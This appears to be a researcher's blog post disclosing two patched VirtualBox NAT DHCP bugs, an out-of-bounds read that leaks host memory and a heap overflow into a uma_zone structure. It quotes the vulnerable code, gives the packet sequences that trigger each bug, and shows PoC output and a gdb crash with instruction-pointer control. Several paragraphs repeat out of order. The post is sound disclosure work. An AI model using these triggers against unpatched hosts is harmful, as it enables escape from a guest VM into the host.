Continuing from my previous blog posts, this is another old set of VirtualBox bugs which can lead to VM escape. VirtualBox guest in NAT mode (default networking configuration) enables a per VM DHCP server which assigns IP address to guest.
DHCP packet is defined in src/Vbox/Devices/Network/slirp/bootp.h as below:
The server first checks if the IP address is already in assigned list by calling bootp_cache_lookup_ether_by_ip(). If not, it further invokes slirp_arp_who_has() to generated an ARP request with bytes read outside DHCP buffer as IP address. This request will be received by the guest since its a broadcast packet leaking some bytes.
To trigger the issue, send a DHCPDECLINE packet with bp_vend filled with RFC1533_PAD. If there is no crash, an ARP packet will be triggered like below:
CVE-2016-5610 – Heap overflow in dhcp_decode_request()
bp_hlen is only a byte, hence the maximum value can be 255. However, size of BOOTPClient structure array is greater than 300 bytes. Overflowing within this array is not very interesting as there is no critical data to corrupt. In order to make this overflow interesting, we have to reach to the end of BOOTPClient structure array (pbootp_clients).
pbootp_clients array can store information about 16 client requests [0...15]. The first element is already used during VM initialization with the guest IP address. To advance further into the array, the guest can send another 14 DHCPREQUEST packets with unique information. When handling the 15th DHCPREQUEST packet trigger the overflow by setting bp_hlen to maximum value.
Since pbootp_clients is allocated early during the VM initialization process and overflow is limited to a max of 255 bytes, the adjacent buffer needs to be something interesting. When testing VirtualBox 5.0.26 in Ubuntu 16.04, the adjacent buffer was a uma_zone structure defined in src/Vbox/Devices/Network/slirp/zone.h
The proof of concept code for both the bugs can be found at virtualbox-nat-dhcp-bugs
renorobert@ubuntuguest:~$ ifconfig enp0s3 enp0s3 Link encap:Ethernet HWaddr 08:00:27:b8:b7:4c inet addr:10.0.2.15 Bcast:10.0.2.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:feb8:b74c/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:119 errors:0 dropped:0 overruns:0 frame:0 TX packets:94 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:11737 (11.7 KB) TX bytes:12157 (12.1 KB)The emulated DHCP server runs in IP address 10.0.2.2. Packets sent to this DHCP server gets parsed by host worker process
renorobert@ubuntuguest:~$ sudo nmap -sU -p 68 10.0.2.2 . . . 68/udp open|filtered dhcpc MAC Address: 52:54:00:12:35:03 (QEMU virtual NIC)Oracle fixed 2 of my bugs CVE-2016-5610 and CVE-2016-5611 during Oracle Critical Patch Update - October 2016. The bug affects VirtualBox versions prior to 5.0.28 and 5.1.8 in code src/Vbox/Devices/Network/slirp/bootp.c
DHCP packet is defined in src/Vbox/Devices/Network/slirp/bootp.h as below:
#define DHCP_OPT_LEN 312 /* RFC 2131 */ struct bootp_t { struct ip ip; /**< header: IP header */ struct udphdr udp; /**< header: UDP header */ uint8_t bp_op; /**< opcode (BOOTP_REQUEST, BOOTP_REPLY) */ uint8_t bp_htype; /**< hardware type */ uint8_t bp_hlen; /**< hardware address length */ uint8_t bp_hops; /**< hop count */ uint32_t bp_xid; /**< transaction ID */ uint16_t bp_secs; /**< numnber of seconds */ uint16_t bp_flags; /**< flags (DHCP_FLAGS_B) */ struct in_addr bp_ciaddr; /**< client IP address */ struct in_addr bp_yiaddr; /**< your IP address */ struct in_addr bp_siaddr; /**< server IP address */ struct in_addr bp_giaddr; /**< gateway IP address */ uint8_t bp_hwaddr[16]; /** client hardware address */ uint8_t bp_sname[64]; /** server host name */ uint8_t bp_file[128]; /** boot filename */ uint8_t bp_vend[DHCP_OPT_LEN]; /**< vendor specific info */ };The DHCP server maintains an array of BOOTPClient structure (bootp.c), to keep track of all assigned IP addresses.
/** Entry in the table of known DHCP clients. */ typedef struct { uint32_t xid; bool allocated; uint8_t macaddr[6]; struct in_addr addr; int number; } BOOTPClient; /** Number of DHCP clients supported by NAT. */ #define NB_ADDR 16The array is initialized during VM initialization using bootp_dhcp_init()
int bootp_dhcp_init(PNATState pData) { pData->pbootp_clients = RTMemAllocZ(sizeof(BOOTPClient) * NB_ADDR); if (!pData->pbootp_clients) return VERR_NO_MEMORY; return VINF_SUCCESS; }CVE-2016-5611 - Out-of-bounds read vulnerability in dhcp_find_option
static uint8_t *dhcp_find_option(uint8_t *vend, uint8_t tag) { uint8_t *q = vend; uint8_t len; . . . while(*q != RFC1533_END) // expects END tag in an untrusted input { if (*q == RFC1533_PAD) { q++; // incremented without validation continue; } if (*q == tag) return q; // returns pointer if tag found q++; len = *q; q += 1 + len; // length and pointer not validated } return NULL; }dhcp_find_option() parses the guest provided bp_vend field in DHCP packet. However, lack of proper validation could return a pointer outside the DHCP packet buffer or crash the VM if the while loop never terminates until an unmapped address is accessed. One interesting code path to trigger info leak using this bug is by DHCP decline packets.
bootp.c:65:static uint8_t *dhcp_find_option(uint8_t *vend, uint8_t tag) bootp.c:412: req_ip = dhcp_find_option(&bp->bp_vend[0], RFC2132_REQ_ADDR); bootp.c:413: server_ip = dhcp_find_option(&bp->bp_vend[0], RFC2132_SRV_ID); bootp.c:701: pu8RawDhcpObject = dhcp_find_option(bp->bp_vend, RFC2132_MSG_TYPE); bootp.c:726: parameter_list = dhcp_find_option(&bp->bp_vend[0], RFC2132_PARAM_LIST); bootp.c:773: pu8RawDhcpObject = dhcp_find_option(&bp->bp_vend[0], RFC2132_REQ_ADDR);
static void dhcp_decode(PNATState pData, struct bootp_t *bp, const uint8_t *buf, int size) { . . . case DHCPDECLINE: /* note: pu8RawDhcpObject doesn't point to DHCP header, now it's expected it points * to Dhcp Option RFC2132_REQ_ADDR */ pu8RawDhcpObject = dhcp_find_option(&bp->bp_vend[0], RFC2132_REQ_ADDR); . . . req_ip.s_addr = *(uint32_t *)(pu8RawDhcpObject + 2); rc = bootp_cache_lookup_ether_by_ip(pData, req_ip.s_addr, NULL); if (RT_FAILURE(rc)) { . . . bc->addr.s_addr = req_ip.s_addr; slirp_arp_who_has(pData, bc->addr.s_addr); LogRel(("NAT: %RTnaipv4 has been already registered\n", req_ip)); } /* no response required */ break; . . .A DHCPDECLINE message is sent by a client suggesting the provided IP address is already in use. This IP address is part of the bp_vend field. The server calls dhcp_find_option() to get a pointer to the IP address within bp_vend field. Here a pointer outside the DHCP buffer can be returned, pointing to some junk data as IP address.
The server first checks if the IP address is already in assigned list by calling bootp_cache_lookup_ether_by_ip(). If not, it further invokes slirp_arp_who_has() to generated an ARP request with bytes read outside DHCP buffer as IP address. This request will be received by the guest since its a broadcast packet leaking some bytes.
To trigger the issue, send a DHCPDECLINE packet with bp_vend filled with RFC1533_PAD. If there is no crash, an ARP packet will be triggered like below:
renorobert@guest:~$ sudo tcpdump -vv -i eth0 arp [sudo] password for renorobert: tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes 15:51:34.557995 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 45.103.99.109 (Broadcast) tell 10.0.2.2, length 4645.103.99.109 are the leaked host process bytes. Link to proof-of-concept code can be found at the end of blog post.
CVE-2016-5610 – Heap overflow in dhcp_decode_request()
static int dhcp_decode_request(PNATState pData, struct bootp_t *bp, struct mbuf *m) { . . . /*?? renewing ??*/ switch (dhcp_stat) { case RENEWING: . . . Assert((bp->bp_hlen == ETH_ALEN)); memcpy(bc->macaddr, bp->bp_hwaddr, bp->bp_hlen); bc->addr.s_addr = bp->bp_ciaddr.s_addr; } break; case INIT_REBOOT: . . . Assert((bp->bp_hlen == ETH_ALEN)); memcpy(bc->macaddr, bp->bp_hwaddr, bp->bp_hlen); bc->addr.s_addr = ui32; break; . . . }When parsing DHCPREQUEST packets, the bp->bp_hlen field is not validated. The assert statement Assert((bp->bp_hlen == ETH_ALEN)) is compiled out of release builds, leading to heap buffer overflow when copying bp_hwaddr from untrusted DHCP packet to the macaddr field in BOOTPClient structure.
bp_hlen is only a byte, hence the maximum value can be 255. However, size of BOOTPClient structure array is greater than 300 bytes. Overflowing within this array is not very interesting as there is no critical data to corrupt. In order to make this overflow interesting, we have to reach to the end of BOOTPClient structure array (pbootp_clients).
pbootp_clients array can store information about 16 client requests [0...15]. The first element is already used during VM initialization with the guest IP address. To advance further into the array, the guest can send another 14 DHCPREQUEST packets with unique information. When handling the 15th DHCPREQUEST packet trigger the overflow by setting bp_hlen to maximum value.
Since pbootp_clients is allocated early during the VM initialization process and overflow is limited to a max of 255 bytes, the adjacent buffer needs to be something interesting. When testing VirtualBox 5.0.26 in Ubuntu 16.04, the adjacent buffer was a uma_zone structure defined in src/Vbox/Devices/Network/slirp/zone.h
# define ZONE_MAGIC 0xdead0002 struct uma_zone { uint32_t magic; PNATState pData; /* to minimize changes in the rest of UMA emulation code */ RTCRITSECT csZone; const char *name; size_t size; /* item size */ ctor_t pfCtor; dtor_t pfDtor; zinit_t pfInit; zfini_t pfFini; uma_alloc_t pfAlloc; uma_free_t pfFree; int max_items; int cur_items; LIST_HEAD(RT_NOTHING, item) used_items; LIST_HEAD(RT_NOTHING, item) free_items; uma_zone_t master_zone; void *area; /** Needs call pfnXmitPending when memory becomes available if @c true. * @remarks Only applies to the master zone (master_zone == NULL) */ bool fDoXmitPending; };This structure gets used in functions defined in src/Vbox/Devices/Network/slirp/misc.c. Corrupting pfCtor, pfDtor, pfInit, pfFini, pfAlloc or pfFree gives RIP control in NAT thread or the per vCPU EMT thread.
$ sudo ./poc enp0s3 [sudo] password for renorobert: poc: [+] Using interface enp0s3... poc: [+] Sending DHCP requests... poc: [+] Current IP address : 10.0.2.15 poc: [+] Requesting IP address : 10.0.2.16 poc: [+] Requesting IP address : 10.0.2.17 poc: [+] Requesting IP address : 10.0.2.18 poc: [+] Requesting IP address : 10.0.2.19 poc: [+] Requesting IP address : 10.0.2.20 poc: [+] Requesting IP address : 10.0.2.21 poc: [+] Requesting IP address : 10.0.2.22 poc: [+] Requesting IP address : 10.0.2.23 poc: [+] Requesting IP address : 10.0.2.24 poc: [+] Requesting IP address : 10.0.2.25 poc: [+] Requesting IP address : 10.0.2.26 poc: [+] Requesting IP address : 10.0.2.27 poc: [+] Requesting IP address : 10.0.2.28 poc: [+] Requesting IP address : 10.0.2.29 poc: [+] Requesting IP address : 10.0.2.30 poc: [+] Overflowing bootp_clients into uma_zone structure…
gdb-peda$ c Continuing. Thread 11 "EMT" received signal SIGSEGV, Segmentation fault. [Switching to Thread 0x7fd20e4af700 (LWP 27148)] [----------------------------------registers-----------------------------------] RAX: 0xfffffe95 RBX: 0x7fd1f05ea330 ("CCCCCCCC", 'B', "\b") RCX: 0x0 RDX: 0x0 RSI: 0x42424242 ('BBBB') RDI: 0x7fd1f05ea330 ("CCCCCCCC", 'B' , "\b") RBP: 0x7fd20e4aeb70 --> 0x7fd20e4aebd0 --> 0x7fd20e4aec10 --> 0x7fd20e4aecd0 --> 0x7fd20e4aece0 --> 0x7fd20e4aed40 (--> ...) RSP: 0x7fd20e4aeb50 --> 0x7fd1f05e7160 --> 0x0 RIP: 0x7fd1df22308e (call QWORD PTR [rbx+0x70]) R8 : 0x0 R9 : 0x0 R10: 0x7fd20d529230 --> 0x7fd1df1e5be0 (push rbp) R11: 0x0 R12: 0x7fd1f0852080 --> 0x800 R13: 0x7fd20e4aeb90 --> 0x100000002 R14: 0x7fd1f05ea340 ('B' , "\b") R15: 0x7fd1f05e6f30 --> 0x7fd1df21c5a0 (push rbp) EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x7fd1df223086: xor edx,edx 0x7fd1df223088: mov esi,DWORD PTR [rbx+0x48] 0x7fd1df22308b: mov rdi,rbx => 0x7fd1df22308e: call QWORD PTR [rbx+0x70] 0x7fd1df223091: test rax,rax 0x7fd1df223094: mov r12,rax 0x7fd1df223097: je 0x7fd1df2230b5 0x7fd1df223099: mov rax,QWORD PTR [rbx+0x50] Guessed arguments: arg[0]: 0x7fd1f05ea330 ("CCCCCCCC", 'B' , "\b") arg[1]: 0x42424242 ('BBBB') arg[2]: 0x0 arg[3]: 0x0 [------------------------------------stack-------------------------------------] 0000| 0x7fd20e4aeb50 --> 0x7fd1f05e7160 --> 0x0 0008| 0x7fd20e4aeb58 --> 0x7fd1f0852080 --> 0x800 0016| 0x7fd20e4aeb60 --> 0x7fd1f0852088 --> 0x7fd1dd262f88 --> 0x8ffffffffffff 0024| 0x7fd20e4aeb68 --> 0x11a 0032| 0x7fd20e4aeb70 --> 0x7fd20e4aebd0 --> 0x7fd20e4aec10 --> 0x7fd20e4aecd0 --> 0x7fd20e4aece0 --> 0x7fd20e4aed40 (--> ...) 0040| 0x7fd20e4aeb78 --> 0x7fd1df22339f (test rax,rax) 0048| 0x7fd20e4aeb80 --> 0x7fd20e4aebb0 --> 0x0 0056| 0x7fd20e4aeb88 --> 0x7fd1f0000020 --> 0x200000000 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00007fd1df22308e in ?? () from /usr/lib/virtualbox/VBoxDD.so gdb-peda$ x/gx $rbx+0x70 0x7fd1f05ea3a0: 0xdeadbeef00000000
The proof of concept code for both the bugs can be found at virtualbox-nat-dhcp-bugs